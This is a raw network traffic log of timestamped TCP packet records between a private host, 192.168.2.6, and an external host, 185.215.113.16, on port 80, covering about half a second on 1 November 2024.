Nov 1, 2024 00:38:19.494759083 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494796991 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.494837999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494864941 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.495011091 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495023966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495094061 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.495120049 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495140076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495157957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495187998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495202065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495215893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495232105 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495246887 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495361090 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.495384932 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.495384932 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.495754004 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495769024 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495783091 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.495814085 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.496031046 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.501108885 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.544034958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.544061899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.544085026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.544154882 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.544229984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.544246912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.544279099 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.544533014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.544558048 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.544572115 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.544820070 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.586815119 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.586951971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.592567921 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.611581087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.611598015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.611613035 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.611720085 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.611814022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.611829996 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.611845016 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.611871958 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.611965895 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.612293005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612354994 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612404108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612416029 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612473011 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612489939 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.612524033 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612571001 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.612631083 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612647057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612660885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612823963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612839937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612848997 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.612854958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.612988949 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613013983 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.613042116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613058090 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613480091 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613508940 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.613538027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613562107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613579988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613596916 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613627911 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.613734007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613785028 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613799095 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613807917 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.613909960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613970995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613986015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.613996983 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.614022017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614037991 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614063978 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.614367962 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614384890 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614398956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614594936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614609957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614624977 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.614625931 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614655018 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614682913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614691973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.614700079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614716053 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614729881 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.614741087 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.614768028 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.663769007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.663809061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.663824081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.663903952 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.663904905 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.664073944 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.664093018 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.664108038 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.664191961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.664429903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.664447069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.664463043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.664505005 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.664505005 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.731035948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731066942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731081963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731096983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731112957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731126070 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731148005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731161118 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731177092 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.731514931 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731543064 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.731566906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731595993 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731611967 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731625080 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731635094 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.731713057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731735945 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731751919 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.731759071 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.731767893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732140064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732163906 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.732163906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732181072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732243061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732259035 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732268095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.732274055 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732448101 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.732465029 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732521057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732533932 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732548952 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732572079 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.732621908 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732697964 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732721090 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732744932 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.732762098 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732774019 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732877016 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732892036 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.732899904 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.732908010 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733086109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733099937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733108044 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.733117104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733133078 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733148098 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733160973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.733165026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733522892 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733537912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733546019 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.733553886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733582973 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733597040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733608961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.733613968 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733629942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733645916 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.733654022 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.740521908 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.774200916 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.782572985 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.782737017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.782782078 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.782908916 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.782923937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.782955885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.782970905 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.782988071 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.783018112 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.783034086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.783045053 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.783224106 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.783247948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.783255100 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.783266068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.784624100 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.850744009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850799084 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850822926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850840092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850856066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850871086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850882053 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.850895882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850914001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850924969 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.850929976 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850946903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850954056 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.850964069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.850979090 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851002932 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.851110935 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.851414919 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851428986 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851444960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851463079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851478100 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851483107 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.851494074 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851511955 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851517916 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.851526022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851548910 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.851826906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851854086 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.851862907 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851877928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.851905107 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.851969957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852025032 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852047920 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852062941 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852072001 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.852078915 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852102041 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.852125883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.852436066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852451086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852468014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852489948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852504969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852514982 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.852519989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852538109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852545977 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.852591991 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.852822065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852945089 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.852983952 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.853008032 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.853048086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.853064060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.853080034 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.853105068 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.853133917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.853148937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.853163958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.853173018 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.853434086 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.901751041 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.901798964 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.901813984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.901878119 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.901905060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.901926041 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902021885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902035952 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902045012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902049065 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.902060032 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902086973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.902086973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.902272940 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902287960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902302027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902390003 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.902390003 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.902396917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902425051 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902498007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902518988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.902537107 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.902612925 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.969505072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.969526052 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.969541073 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.969938040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.969953060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.969964027 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.969969988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970035076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970051050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970058918 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.970067024 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970082998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970113039 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.970267057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970283031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970293045 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.970299959 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970315933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970325947 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.970527887 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970550060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970560074 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.970566988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970582008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970597982 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970613956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970621109 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.970635891 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.970968008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970983028 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.970993996 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.970999002 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971023083 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.971050978 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971066952 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971376896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971393108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971409082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971425056 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971432924 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.971667051 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971682072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971697092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971698999 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.971713066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971731901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971739054 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.971748114 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971766949 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971780062 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.971790075 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.972131968 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.972197056 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.972210884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.972219944 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.972232103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.972362041 CET	80	49735	185.215.113.16	192.168.2.6
